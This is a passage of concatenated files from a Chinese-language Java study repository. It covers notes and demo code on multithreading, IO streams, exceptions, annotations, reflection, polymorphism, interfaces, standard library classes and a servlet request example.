Thread(ticket,"c").start(); } } ``` ### ArrayList是不安全的List集合 -> 线程不安全 ```java package com.mi.threadsyn; import java.util.ArrayList; import java.util.List; public class UnSafeList { public static void main(String[] args) { List<String> list = new ArrayList<String>(); for(int i=0; i<10000; i++) { new Thread(() -> { list.add(Thread.currentThread().getName()); }).start(); } try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println(list.size()); } } ```<file_sep>/java基础2/3.IO流/6.数据流/README.md ## 数据流 > 本质:基本数据类型与字符串类型作为数据源,程序可以直接在底层输入输出流中操作基本数据类型与字符串类型 -> DataInputStream、DataOutputStream ```java package com.mi.demo; import java.io.*; public class DataStreamDemo { public static void main(String[] args) { DataInputStream dis = null; DataOutputStream dos = null; try { // 写入 dos = new DataOutputStream(new BufferedOutputStream(new FileOutputStream("C:\\workspace\\dev\\javastudy\\data.txt"))); dos.writeChar('a'); dos.writeInt(10); dos.writeDouble(Math.random()); dos.writeBoolean(true); dos.writeUTF("你好"); dos.flush(); dis = new DataInputStream(new BufferedInputStream(new FileInputStream("C:\\workspace\\dev\\javastudy\\data.txt"))); // 读取顺序要保持一致 System.out.println("char: " + dis.readChar()); System.out.println("int: " + dis.readInt()); System.out.println("double: " + dis.readDouble()); System.out.println("boolean: " + dis.readBoolean()); System.out.println("String: " + dis.readUTF()); } catch(Exception e) { e.printStackTrace(); } finally { try { if(dos != null) { dos.close(); } if(dis != null) { dis.close(); } } catch(Exception e) { e.printStackTrace(); } } } } ```<file_sep>/java基础1/6.语句/2.循环语句/1.for循环/嵌套循环/Demo1.java /** * 输出多行* */ import java.util.Scanner; public class Demo1 { public static void main(String[] args) { Scanner input = new Scanner(System.in); System.out.print("请输入行数:"); int line = input.nextInt(); System.out.print("请输入每行*的个数:"); int count = input.nextInt(); for(int i=1; i<=line; i++) { // 每行 for(int j=1; j<=count; j++) { System.out.print("*"); } System.out.println(); } } }<file_sep>/java基础1/13.异常处理/README.md ## 异常 > 背景:开发中[编译/执行]必然会遇到异常情况,例如涉及到IO模块用户输入不规范、打开某文件,文件不存在或格式不正确等等,开发者需要花费大量时间处理异常,而且业务代码中会耦合很多处理异常的代码,最终导致开发变的异常艰难 => 程序语言对异常进行了重新定义,程序可以合理处理异常并继续执行代码,避免程序崩溃 > JAVA使用面向对象的方式处理异常,提供了很多处理异常的类,类中定义异常的信息和对异常进行处理的方法 ### 异常分类 > java异常类Throwable派生了两个子类:Error、Exception ![](assets/异常分类.png) #### Error类 > 其表示程序无法处理的错误,往往都是涉及到操作系统资源层面的问题,直接造成中断 -> 代码运行时java虚拟机[JVM]出现问题,运行错误Virtual MachineError,JVM会选择线程终止 => 实际Error表示系统JVM处于不可恢复的崩溃状态 #### Exception类 > 需要程序处理的异常,分为编译时异常、运行时异常 > 1.编译时异常[CheckedException 未检查异常] > IOException、SQLException等以及用户自定义异常,此类异常编译时必须处理,否则无法通过编译 > 2.运行时异常[RuntimeException 已检查异常] > 显示的声明或捕获对程序可读性和运行效率影响较大,开发中往往在代理逻辑层进行处理,避免发生异常 ```java // ArithmeticException异常 -> 被除数为0 if(a != 0) { System.out.println(1/a) } // ArrayIndexOutOfBoundsException异常 -> 数组越界异常 int[] arr = new int[5]; int b = 5; if (b < arr.length) { System.out.println(arr[b]) }; // NumberFormatException异常 String str = "1234abc"; System.out.println(Integer.parseInt(str)); // 解决:若是数字才进行转换,正则判断 Pattern p = Pattern.compile("^\\d+$"); Matcher m = p.matcher(str); if (m.matches()) { System.out.println(Integer.parseInt(str))} // NullPointerException异常 -> 空指针 String str1 = null; if(str1 != null) { System.out.println(str1.charAt(0)) }; // ClassCastException异常 Animal a = new Dog(); if(a instanceof Cat) { Cat c = (Cat)a; } ``` ### 异常处理 #### 声明异常 > CheckedException异常产生时不一定立刻处理它,可以把异常throws出去 -> 实际就是当前方法并不需要处理发生的异常或者不确定如何处理这种异常,向上传递给调用它的方法处理 ```java // 方法的首部声明该方法可能抛出的异常,若抛出多个已检查异常,以逗号隔开 public static void readFile(String name) throws FileNotFoundException,IOException {} // 方法重写时声明异常原则:若父类方法有声明异常,那么子类声明的异常范围不能超过父类声明的范围 ``` #### 捕获异常 > 开发者可通过程序对异常进行处理,控制程序流 ```java /* 1.try语句必须带有至少一个catch或一个finally语句块 -> catch语句可有多条,finally语句仅有一条,可选 2.执行过程:try中某语句发生异常时,该语句后续的语句就不执行了,此时会跳到catch中执行异常相关代码,然后继续执行finally中的代码 3.catch中异常对象具备的方法: toString();//异常的类名及产生异常的原因 getMessage();//仅显示异常原因,但不显示类名 printStackTrace();//跟踪异常事件发生时堆栈的内容 -> catch中捕获异常类时,若异常类间有继承关系,越是顶层的类越放在下面,因为其会先捕获子类异常再捕获父类异常 4.finally语句:常用于关闭程序快已打开的资源,例如:关闭文件流、释放数据库连接 -> 即使try、catch快中存在return语句,finally语句也会执行,执行完finally语句后再通过return退出 -> 仅有一种情况finally语句不会执行,执行finally语句前遇到了System.exit(0)结束程序运行 try{ } catch() { } catch() { } finally { } */ ``` ### 自定义异常 > 背景:JDK提供的异常类都无法满足需求,可自定义异常 > 若自定义异常类继承Exception类,则默认为CheckedException,若想继承运行时异常,需要显示继承RuntimeException类 ```java /** * 自定义异常:大多包含两个构造器,默认、带参 */ class IllegalAgeException extends Exception { // 默认构造器 public IllegalAgeException() {} // 带参构造器 public IllegalAgeException(String message) { super(message); } } class Person { private String name; private int age; public void setName(String name) { this.name = name; } public void setAge(int age) throws IllegalAgeException { if (age < 0) { throw new IllegalAgeException("人的年龄不应该为负数"); } this.age = age; } public String toString() { return "name is " + name + " and age is " + age; } } public class Demo { public static void main(String[] args) { Person p = new Person(); try { p.setName("Lincoln"); p.setAge(-1); } catch (IllegalAgeException e) { e.printStackTrace(); } System.out.println(p); } } ``` ### Bug调试 -> IDEA ![](assets/调试/调试视图1.png) ![](assets/调试/调试操作区1.png) ![](assets/调试/调试操作区2.png) ![](assets/调试/调试操作区3.png)<file_sep>/java基础1/12.标准类库/3.时间处理相关类/1.Date/Demo.java import java.util.Date; public class Demo { public static void main(String[] args) { // 开发中使用long类型定义变量,其数据范围可表示基准时间往前几亿年、往后几亿年 long range = Long.MAX_VALUE/(1000L*3600*24*365); System.out.println(range);//292471208 -> 2.9亿年 long now = System.currentTimeMillis();//时间戳 System.out.println(now);//1625824819229 /* Date类: new Date();//返回当前时间对象 new Date(long date);//返回date对应的时间对象 long getTime();//返回时间戳 String toString();//转换为String格式 -> dow mon dd hh:mm:ss zzz yyyy dow就是周中某天[Sun、Mon、Tue、Wed、Thu、Fri、Sat] -> JDK1.1之前的Date类提供了很多方法:日期操作、字符串转换成时间对象等,目前都废弃了,JDK1.1之后提供了日期操作类Calendar,字符串转化使用DateFormat类 */ Date d = new Date(); Date d1 = new Date(1000L * 3600 * 24 * 365 * 150); System.out.println(d);//Sat Jul 10 10:39:58 CST 2021 System.out.println(d.getTime());//1625884798100 System.out.println(d.toString());//Sat Jul 10 10:39:58 CST 202 } }<file_sep>/java基础2/5.注解反射/1.注解/README.md ## 注解Annotation > JDK1.5引入的新技术,对程序解释 + 辅助编程能力 -> 其大多数时候可做到'编译期间提出警告',符合JAVA强类型的语言标准[强约束] ### 注解的使用 > 格式:@注释名,还可添加些参数值,@suppressWarnings(value="unchecked") > 场景:附加在package、class、method、field等上面,可通过反射机制实现对这些'元数据'访问 > 分类:内置注解、元注解、自定义注解 > 内置注解 -> JDK提供的注解[3种] ```java /* 内置注解: @Override: 仅用于修饰方法,某方法声明需重写超类中的方法声明 -> java.lang.Override包 @Deprecated: 用于修饰属性、方法、类,表示不建议使用,因为其很危险[可能废弃]或者有更好的替代选择,实际也是因为JDK的发展导致某些库未来不被使用,但目前依旧被使用 -> java.lang.Deprecated @SuppressWarnings: 用于修饰属性、方法、类,抑制编译时的警告信息,需要添加参数才可使用[预定义参数] -> java.lang.SuppressWarnings @SuppressWarnings("all") @SuppressWarnings("unchecked") @SuppressWarnings(value={"unchecked","deprecation"}) */ package com.mi.annotation; import java.util.ArrayList; import java.util.List; public class TestInside extends Object { @Override public String toString() { System.out.println(""); return ""; }; @Deprecated public static void test() { System.out.println("不建议使用"); } @SuppressWarnings("all") public void demo() { List<String> list = new ArrayList<String>();// 定义list却不使用,其会报警告,使用@SuppressWarnings()注解,其会抑制警告 } public static void main(String[] args) { test(); } } ``` > 元注解 -> 注解其它注解[4种] ```java /* 元注解: 负责注解其它注解,java定义了4个标准meta-annotation类型 -> java.lang.annotation包 -> 常用于自定义注解使用,可参考'内置注解'源码 @Target: 描述注解的使用范围 @Retention: 描述注解的生命周期[需要在什么级别保存该注释信息],SOURCE[源码] < CLASS[编译] < RUNTIME[运行],默认值RUNTIME @Documented: 注解将被包含在javadoc @Inherited: 子类可继承父类中的该注解 */ package com.mi.annotation; import java.lang.annotation.*; public class TestMeta { @MyAnnotation public void test() { } } // 自定义注解 @Target(value = {ElementType.METHOD,ElementType.TYPE}) @Retention(value = RetentionPolicy.CLASS) @Documented @Inherited @interface MyAnnotation { } ``` > 自定义注解 ```java /* 自定义注解: public @interface 注解名 {定义内容} */ package com.mi.annotation; import java.lang.annotation.*; public class custom { @customAn(name = "new") public void test() { }; }; // 自定义注解 @Target(value = {ElementType.TYPE,ElementType.METHOD}) @Retention(RetentionPolicy.CLASS) @Documented @Inherited @interface customAn { /* 参数格式: 参数类型 参数名() 默认值[可选] -> 其并不是方法 -> 使用时需要填写参数 @customAn(name="") 参数=参数类型 -> 当仅有一个参数时,参数名必须为value,使用时value可省略 @customAn(value="") 等价于 @customAn("") */ String name() default ""; int age() default 0; int id() default -1;// 若默认值为-1,表示不存在 String[] schools() default {"a","b"}; } ``` ### 注解 vs 注释 > 它们都不是程序本身,就是对程序作出解释 > 注解:可被其它程序读取[例如:编译器] -> 解释 + 辅助编程 > 注释:仅被开发者读取,仅对代码做出解释即可<file_sep>/java基础1/8.类/2.三大特性/3.多态/README.md ## 多态 > 其表示多种状态,同一个行为,不同子类表现不同的状态 -> 代码层面:同一个方法调用,不同对象产生不同行为,多态是'方法'层面,与属性无关,方法才涉及行为 > 优势: > 提高了代码扩展性,尽量少的修改代码,通过方法参数提升代码灵活性 -> 符合面向对象设计原则:开闭原则[针对扩展是开放的,修改是关闭的] > 多态可提高扩展性,但扩展性并没有达到最好,后续会学习'反射' > 实现多态条件: > 1. 存在继承关系 && 子类对父类重写方法 > 2. 父类引用指向子类对象 -> 可作为方法参数或返回值 ### 向上转型/向下转型 -> 本质:引用数据类型间的转换,聚焦点就是类 > 向上转型:父类引用指向子类对象[小转大] Animal an = pig;//Pig pig = new Pig(); > 向下转型:子类引用指向父类对象转换[大转小] Pig pig = (Pig)an ```java public class Animal { int age = 2; public void shout() { System.out.println("shout"); } } public class Pig extends Animal { double weight = 30; public void shout() { System.out.println("哼哼"); } public void eat() { System.out.println("eat"); } } public class Demo { public static void main(String[] args) { Pig p = new Pig(); Animal an = p; an.shout(); an.age = 6; // an虽然和p的地址相同,指向相同的堆内存空间,但是an仅能调用Animal类的属性方法,不能调用Pig类属性方法 -> 底层就是编译期、运行期导致的,an仅能'看到'Animal类中的内容 -> 解决方案:向下转型 // an.eat();//报错 // an.weight = 20;//报错 Pig pig = (Pig)an; pig.eat(); pig.weight = 20; pig.age = 8; } } ``` ### 简单工厂设计模式 > 背景:涉及到大量对象创建的项目,对象创建、使用会让代码阅读性较差 -> 工厂设计模式:对象创建和使用分开处理,工厂负责创建对象,本质就是'封装函数,入参出参,让调用形式变简单' > 实现要求: > 1. 传入简单的字符串类型参数,工厂根据参数创建子类产品然后返回,返回值类型是父类类型 > 2. 工厂类中的方法应该使用'静态方法',直接通过类名调用 -> 调用形式更加清晰 ```java /** * 宠物店工厂类 */ public class PetStore { public static Animal getAnimal(String petName) { Animal an = null; // petName.equals("猫");//写法不好,若petName为null,容易出现空指针异常 if("猫".equals(petName)) { an = new Cat(); } if("狗".equals(petName)) { an = new Dog(); } if("猪".equals(petName)) { an = new Pig(); } return an; } } class Test { public static void main(String[] args) { Person person = new Person(); Animal an = PetStore.getAnimal("猪"); person.play(an); } } ```<file_sep>/java基础1/12.标准类库/4.数字处理相关类/2.Random/README.md ## Random类 > java.util.Random -> 需要导包 > 背景:其就是用于生成随机数 -> Math.random()可生成[0,1)之间的随机数,但并不能很好的处理复杂需求,Math.random()底层调用Random类的nextDounble()方法 ### 常用方法 ```java Random rand = new Random(); System.out.println(rand.nextInt());//随机生成int数据类型范围之内的整型数据 System.out.println(rand.nextFloat());//[0,1)之间的float类型数据 System.out.println(rand.nextDouble());//[0,1)之间的double类型数据 System.out.println(rand.nextBoolean());//随机生成true、false // 随机生成[0,10)间的int类型数据 System.out.println(rand.nextInt(10)); // 随机生成[20,30)间的int类型数据 System.out.println(20+rand.nextInt(10)); System.out.println(20+(int)(rand.nextDouble() * 10));//此方法较复杂 ```<file_sep>/java基础1/7.数组/1.一维数组/Demo2.java /** * 输出数组元素的平均值 * array{1,2,3,4,5,6,7,8} */ public class Demo2 { public static void main(String[] args) { int[] array = new int[]{1,2,3,4,5,6,7,8}; double sum = 0; int len = array.length; for(int i=0; i<len; i++){ sum += array[i]; } double avarage = sum/len; System.out.println(sum); System.out.println("平均值:"+ avarage); } }<file_sep>/java基础1/6.语句/1.选择语句/README.md ## 选择语句 ### 单分支 > 判断条件直接写布尔值或表达式均可,最终结果为布尔值即可 ```java // 形式1 if(判断条件) {} if() {} // 形式2 if() { if () {}; if () {} } // 形式3 if() { } else { } // 形式4 if() { } else if() { } else if() { } else { } // 除了上述方式,其还有很多变种,但本质依旧是'完成功能的前提下代码更易阅读' ``` ### 多分支 > switch中传入的是'值',直接写值或表达式均可,最终结果为值即可 > 值类型:byte short int char enum[java1.5支持] string[java1.7支持] ```java switch(值) { case 值1: 代码; [break]; case 值2: 代码; [break]; case 值3: 代码; [break]; // 兜底 default: 代码 [break] } ```<file_sep>/java基础1/8.类/2.三大特性/3.多态/Test/Pig.java /** * 猪类 */ public class Pig extends Animal { public void shout() { System.out.println("哼哼"); } }<file_sep>/java基础2/2.容器/1.单例集合/1.List接口/2.Vector类/README.md ## Vector类 -> List接口的实现类 > 底层基于数组实现:查询效率高、增删效率低 -> 线程安全、效率低[增加了同步检查(synchronized同步标记)] ```java package com.mi.list; import java.util.List; import java.util.Stack; import java.util.Vector; public class VectorTest { public static void main(String[] args) { // Vector类 -> List接口有的方法其都有,此处只例举部分,可参考ArrayList类 List<String> v = new Vector<>(); v.add("Hello"); v.add("World"); v.add("Hello"); for(int i=0; i<v.size(); i++) { System.out.println(v.get(i)); } for(String str:v) { System.out.println(str); } } } ``` ### Stack类 -> Vector的子类 ![](assets/操作栈的方法.png) ```java package com.mi.list; import java.util.Stack; public class VectorTest { public static void main(String[] args) { // Stack类[LIFO后进先出] Stack<String> stack = new Stack<>(); // 入栈 String a = stack.push("hello"); System.out.println(a); stack.push("java1"); stack.push("java2"); // 弹栈 String res = stack.pop(); System.out.println(res); // 是否为空 System.out.println(stack.isEmpty()); // 查看栈顶元素 String topEle = stack.peek(); System.out.println(topEle); // 查找位置 int index = stack.search("java2"); System.out.println(index); } } ```<file_sep>/java基础2/1.泛型/2.泛型接口/Demo.java public class Demo { public static void main(String[] args) { IgenericImp igenericImp = new IgenericImp(); String name = igenericImp.getName("HelloWorld"); System.out.println(name); } }<file_sep>/java基础2/8.javaweb/3.servlet/3.request/README.md ## request > 其表示客户端的请求,请求信息相关接口都被封装到HttpServletRequest ```java package com.tt.servlet; public class LoginServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // 请求转发 req.setCharacterEncoding("utf-8");// 处理"收到请求后的乱码" resp.setCharacterEncoding("utf-8");// 处理"客户端展示的乱码" String username = req.getParameter("username"); String password = req.getParameter("password"); String[] keys = req.getParameterValues("key"); System.out.println(username); System.out.println(password); System.out.println(keys.toString()); req.getRequestDispatcher("/success.jsp").forward(req,resp);//路径/表示当前web应用 // req.getRequestDispatcher(req.getContextPath() + "/success.jsp").forward(req,resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } } ```<file_sep>/java基础1/12.标准类库/4.数字处理相关类/1.Math/README.md ## Math类 > java.lang.Math -> 无需导包 > Math类库提供了系列静态方法用于科学计算,方法的参数返回值类型大多都是double类型 ### 常用方法 ```java // 常量 System.out.println(Math.PI);//3.141592653589793 System.out.println(Math.E); // 方法 System.out.println(Math.floor(3.6));//3.0 -> 向下取整 System.out.println(Math.ceil(3.2));//4.0 -> 向上取整 System.out.println(Math.round(3.6));//4 -> 四舍五入 System.out.println(Math.abs(-12));//12 -> 取绝对值 System.out.println(Math.sqrt(64));//8.0 -> 开方 System.out.println(Math.pow(2,3));//8.0 -> 2的3次方 System.out.println(Math.random());//[0,1) ``` ### Math类底层 > 1. Math类不能创建对象,构造器私有化使用了private修饰 ```java private Math() {};//构造器私有后,外界无法方法 ``` > 2. 类中的属性、方法均使用static修饰,仅能通过类名.属性/方法形式调用,因为不能创建对象,所以也不能通过对象.属性/方法调用 > 3. 类、属性、方法均使用final修饰,该类不能被继承,Math类中属性、方法的final修饰符可省略不写,因为不能被继承,方法也不可被重写 ```java public final class Math {} ```<file_sep>/java基础2/5.注解反射/2.反射/1.获取类对象/README.md ## 获取类对象 ```java package com.mi.reflect; public class TestReflect1 { public static void main(String[] args) throws ClassNotFoundException { // 获取类对象的三种方式 // 方式1:obj.getClass() Person person = new Student(); Class c1 = person.getClass(); System.out.println(c1.hashCode()); // 方式2:Class.forName(类名) Class c2 = Class.forName("com.mi.reflect.Student"); System.out.println(c2.hashCode()); // 方式3:类名.class Class c3 = Student.class; System.out.println(c3.hashCode()); // 基本内置类型的包装类都有一个type属性,属性值为类对象 -> 仅限包装类 Class c7 = Integer.TYPE; System.out.println(c7.hashCode()); // 获得父类类型 Class c8 = c1.getSuperclass(); System.out.println(c8); } } class Person { public String name; public Person(String name) { this.name = name; } public Person() {} @Override public String toString() { return "Person{" + "name='" + name + '\'' + '}'; } } class Student extends Person { public Student() { this.name = "stu"; } } class Teacher extends Person { public Teacher() { this.name = ""; } } ```<file_sep>/java基础2/4.多线程/2.线程状态/1.线程礼让/README.md ## 线程礼让 > 本质:线程状态的切换,运行态转换为就绪态,当前线程暂停但不阻塞 > 礼让不一定成功,取决于CPU'心情' ```java package com.mi.threadstatus; public class TestYieldDemo implements Runnable { @Override public void run() { System.out.println(Thread.currentThread().getName() + "线程开始执行"); Thread.yield(); System.out.println(Thread.currentThread().getName() + "线程结束执行"); } // main线程 public static void main(String[] args) { TestYieldDemo yield1 = new TestYieldDemo(); TestYieldDemo yield2 = new TestYieldDemo(); new Thread(yield1,"a").start(); new Thread(yield2,"b").start(); } } ```<file_sep>/java基础2/3.IO流/5.字节数组流/README.md ## 字节数组流 > 本质:字节数组对象作为数据源 -> ByteArrayInputStream、ByteArrayOutputStream ```java package com.mi.demo; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; public class ByteArrayStreamDemo { public static void main(String[] args) { ByteArrayOutputStream bos = null; ByteArrayInputStream bis = null; try { bos = new ByteArrayOutputStream(); bos.write('a'); bos.write('b'); bos.write('c'); byte[] arr = bos.toByteArray(); System.out.println(arr); bis = new ByteArrayInputStream(arr); StringBuilder sb = new StringBuilder(); int temp = 0; while((temp = bis.read()) != -1) { sb.append((char)temp); } System.out.println(sb); } catch(Exception e) { e.printStackTrace(); } finally { try { if(bis != null) { bis.close(); } if(bos != null) { bos.close(); } } catch(Exception e) { e.printStackTrace(); } } } } ```<file_sep>/java基础1/12.标准类库/2.字符串相关类/3.StringBuilder/README.md ## StringBuilder类 -> 抽象类AbstractStringBuilder的子类 > 可变字符序列,线程不安全,效率高[不做线程同步检查] -> JDK1.5 ## 特性 > 其相比于String类是可变字符序列 ```java // String类源码 private final char value[];//使用了final修饰 -> 不可变对象 // StringBuffer类源码 private char value[];//没使用final修饰 -> 可变对象 ``` ## 方法 ```java StringBuilder strBuf = new StringBuilder(); // StringBuilder strBuf = new StringBuilder("Helloworld"); // String toString() 返回该对象的字符串形式 System.out.println(strBuf.toString()); // StringBuilder append(char/str) 追加单个字符、字符串 strBuf.append('a'); strBuf.append("HelloWorld"); System.out.println(strBuf.toString()); // StringBuilder insert(index,char/str) 在index的位置插入字符、字符串 strBuf.insert(0,'I').insert(1,"想说"); System.out.println(strBuf.toString()); // StringBuilder delete(beginIndex,endIndex) 删除从beginIndex到endIndex-1的字符串 strBuf.delete(0,3); // StringBuilder deleteCharAt(int index) 删除index位置上的字符 strBuf.deleteCharAt(4); System.out.println(strBuf.toString()); // StringBuilder reverse() 将字符序列倒序 strBuf.reverse(); System.out.println(strBuf.toString()); // 其它与String类相同的方法 // int length() 返回字符串长度 strBuf.length(); // char charAt(int index) 返回字符串中第index个字符 -> 越界会报异常java.lang.StringIndexOutOfBoundsException strBuf.charAt(3);//直接可返回字符,不用strBuf.toString().charAt(3) // int indexOf(String str) 返回从头开始查找str在字符串中的索引位置,若未找到则返回-1 strBuf.indexOf("llo"); // int lastIndexOf(String str) 返回从尾开始查找str在字符串中的索引位置,若未找到则返回-1 strBuf.lastIndexOf("llo") // String substring(int beginIndex,[int endIndex]) 截取从beginIndex到endIndex-1的字符串[包头不包尾],若endIndex不写,则截取从beginIndex到末尾的字符串,若endIndex超出了字符串length,默认截取到末尾 strBuf.substring(2,6) ```<file_sep>/java基础2/TestPro/thread/src/com/mi/threadsyn/lock/TestDeadLock.java /* 死锁:某一个同步块同时拥有'两个以上对象的锁'时,就有可能发生'死锁问题' */ package com.mi.threadsyn.lock; public class TestDeadLock { public static void main(String[] args) { Makeup u1 = new Makeup(0,"a"); Makeup u2 = new Makeup(1,"b"); new Thread(u1).start(); new Thread(u2).start(); } } // 口红 class Lipstick { } // 镜子 class Mirror { } // 化妆 class Makeup implements Runnable { int choice; String userName; static Lipstick lipstick = new Lipstick(); static Mirror mirror = new Mirror(); Makeup(int choice, String userName) { this.choice = choice; this.userName = userName; } private void makeup() throws InterruptedException { if(choice == 0) { synchronized(lipstick) { System.out.println(this.userName + "获得口红"); Thread.sleep(1000); synchronized(mirror) { System.out.println(this.userName + "获得镜子"); } } } else { synchronized(mirror) { System.out.println(this.userName + "获得镜子"); Thread.sleep(2000); synchronized(lipstick) { System.out.println(this.userName + "获得口红"); } } } } @Override public void run() { try { makeup(); } catch (InterruptedException e) { e.printStackTrace(); } } }<file_sep>/java基础2/2.容器/1.单例集合/1.List接口/README.md ## List接口 > 有序、可重复[满足e1.equals(e2)元素加入容器] ### List接口抽象方法 ![](assets/List接口抽象方法.png) ### List接口实现类 > ArrayList类:基于数组实现,查找效率高,增删效率低,线程不安全 > Vector类:基于数组实现,查找效率高,增删效率低,线程安全 > LinkedList类:基于双向链表实现,查找效率低,增删效率高 > -> 实际都是基于'数据结构'的更高层封装,暴露接口,开发者不用特别深入底层,基于这些类的特点完成'数据容器'的选择即可 > ArrayList类 vs Vector类 > ArrayList类:线程不安全、效率高 > Vector类:线程安全、效率低 > -> 区别主要是'多线程模式下的不同',多线程的优势是并行处理任务,高效率,但也会引起系列问题,也就是所谓的'线程不安全'[多线程同时读取数据是高效的,若a、b线程同时修改同一个数据,就会出现问题] => 若仅存储数据、数据的读取直接使用ArrayList类; 若同时对某数据进行修改则使用Vector类,其会做同步检查[实际就是添加了synchronized同步标记,本质就是一个锁],讲多线程并行变为同步执行,因为会根据锁判定'是否执行',这样做线程是安全的,但效率低[并行->串行]<file_sep>/java基础1/8.类/README.md ## 类 -> 面向对象编程思想语法层面的体现 ### 面向过程 vs 面向对象 > 面向过程:步骤化的解决问题,典型语言:C、C++ > 面向对象:分析问题时就进行'合理抽象',解决问题复用性更好,更高效,对开发人员挑战较大,典型语言:JAVA > => 面向过程也有对象、封装的思想,它们的对象称为'结构体',封装多为'函数'层面的操作,可以解决问题,也有对代码复用性的考量,但是'抽象的维度'不够,导致代码的复用性不高,扩展维护也很难;面向对象中也有'面向过程步骤化'解决问题的思路,但是其分析问题阶段就进行'合理抽象',维度很高,这些最终体现在了三大特性:封装、继承、多态 -> 面向对象更贴近现实生活中解决问题的思路<file_sep>/java基础1/12.标准类库/3.时间处理相关类/2.DateFormat/Demo.java import java.text.ParseException;//抛出异常 import java.text.SimpleDateFormat; import java.util.Date; public class Demo { public static void main(String[] args) throws ParseException{ // 时间格式化对象 SimpleDateFormat s1 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); SimpleDateFormat s2 = new SimpleDateFormat("yyyy-MM-dd"); // 时间对象转化为指定格式字符串 String str1 = s1.format(new Date()); String str2 = s2.format(new Date()); System.out.println(str1);//2021-07-10 11:23:53 System.out.println(str2);//2021-07-10 // 指定格式字符串转化为时间对象,字符串格式需要和指定格式一致 String time1 = "2021-08-08 12:12:12"; String time2 = "2021-08-08"; Date date1 = s1.parse(time1); Date date2 = s2.parse(time1); System.out.println(date1);//Sun Aug 08 00:12:12 CST 2021 System.out.println(date2);//Sun Aug 08 00:00:00 CST 2021 SimpleDateFormat s3 = new SimpleDateFormat("D"); String daytime = s3.format(new Date()); System.out.println(daytime); } }<file_sep>/java基础2/TestPro/reflect/src/com/mi/reflect/TestReflect7.java /* 性能对比分析: 反射方式调用[关闭检测] > 反射方式调用 > 普通方式调用 */ package com.mi.reflect; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class TestReflect7 { // 普通方式调用 public static void test1() { User user = new User(); long startTime = System.currentTimeMillis(); for(int i=0; i < 1000000000; i++) { user.getName(); } long endTime = System.currentTimeMillis(); System.out.println("普通方式调用:" + (endTime - startTime) + "ms"); } // 反射方式调用 public static void test2() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user = new User(); Class c1 = user.getClass(); Method getName = c1.getDeclaredMethod("getName",null); long startTime = System.currentTimeMillis(); for(int i=0; i < 1000000000; i++) { getName.invoke(user,null); } long endTime = System.currentTimeMillis(); System.out.println("反射方式调用:" + (endTime - startTime) + "ms"); } // 反射方式调用[关闭检测] public static void test3() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user = new User(); Class c1 = user.getClass(); Method getName = c1.getDeclaredMethod("getName",null); getName.setAccessible(true);// 关闭检测 long startTime = System.currentTimeMillis(); for(int i=0; i < 1000000000; i++) { user.getName(); } long endTime = System.currentTimeMillis(); System.out.println("反射方式调用[关闭检测]:" + (endTime - startTime) + "ms"); } public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { TestReflect7 demo = new TestReflect7(); demo.test1(); demo.test2(); demo.test3(); } }<file_sep>/java基础1/9.接口/README.md ## 接口 > 其定义规则,具备强约束性 -> 实际也是'强类型语言'的体现 > 主要分为两个版本/写法:JDK1.8之前、JDK1.8之后 ### JDK1.8之前 ```java /* 接口中仅能写常量、抽象方法: 常量:固定修饰符 public static final 抽象方法:固定修饰符 public abstract -> 修饰符可省略不写,IDE会自动补全 [访问修饰符] interface 接口名(大驼峰) [extends 父接口1, 父接口2,,,,,] { 常量定义 抽象方法 } 类实现接口: 1.必须重写接口中的全部抽象方法,如果不想重写所有抽象方法,那么此类可以变成一个抽象类 2.类仅能单继承,但有多实现 -> 可实现多个接口 class Student implements interface1,interface2 {} 3.类同时继承和实现接口,需要先继承、再实现: class Student extends Person implements interface1,interface2 {} */ public interface TestInterface1 { // 常量 /*public static final*/int value = 10; // 抽象方法 /*public abstracet*/ void deal(); void deal1(int num); } public interface TestInterface2 { void deal2(); void deal3(String value); } class Student implements TestInterface1, TestInterface2 { @override public void deal() {}; @override public void deal1(int num) {}; @override public void deal2() {}; @override public void deal3(String value) {}; } class Demo { public static void main(String[] args) { // 接口不能创建对象 // TestInterface1 t = new TestInterface1();//错误 TestInterface1 t = new Student();//接口指向实现类 -> 多态 /* 接口中如何访问常量: 1.TestInterface1.value 2.Student.value 3.Student s = new Student(); s.value 4.TestInterface1 s1 = new Student(); s1.value; */ } } ``` ### JDK1.8之后 ```java /* 接口:常量、抽象方法、非抽象方法、静态方法 常量:固定修饰符 public static final -> 修饰符可省略不写,IDE会自动补全 抽象方法:固定修饰符 public abstract -> 修饰符可省略不写,IDE会自动补全 非抽象方法: 1.public default 方法名 -> default修饰符不能省略 2.实现类可重写该方法,重写时default修饰符不能有 静态方法: 1.static修饰符不能省略 2.静态方法不能重写 -> 实现类可以拥有同名方法,等同于是'自己定义的方法' => 新增非抽象方法、静态方法的原因:若接口中仅能定义常量、抽象方法,每次修改接口内容[实际大多为修改抽象方法],实现类都必须实现该抽象方法,所有实现类都需要修改,成本很大,添加非抽象方法、静态方法可以更灵活处理,代码扩展性更好 [访问修饰符] interface 接口名(大驼峰) [extends 父接口1, 父接口2,,,,,] { 常量定义 抽象方法 非抽象方法 静态方法 } 类实现接口: 类必须重写抽象方法,其它不强制 */ public interface TestInterface1 { // 常量 /*public static final*/int value = 10; // 抽象方法 /*public abstracet*/ void deal(); // 非抽象方法 public default void deal1() {}; // 静态方法 public static void deal2() { System.out.println("接口中的抽象方法") }; } class Student implements TestInterface1 { @override public void deal() {}; @override public void deal1() {}; // 静态方法 -> 非重写 public static void deal2() { System.out.println("类中的抽象方法") }; } class Demo { public static void main(String[] args) { Student s = new Student(); s.deal2(); Student.deal2(); TestInterface1.deal2(); } } ``` ### 补充 > 实际接口中可定义'内部接口',等同于类中的内部类 > 可参考Map接口中的Entry内部接口 ### 接口 vs 类 > 接口: > 1. 其聚焦定义规则,类负责实现即可 -> 根据接口能很清楚的知道实现类具备的功能,后续代码扩展维护更简单 > 2. 其不是类,不能创建对象,但有继承概念 -> 其没有构造器、代码块等类的组成部分,实际其和类是'平级' > 开发中使用接口还是类? > 接口:has-a 的包含关系 -> 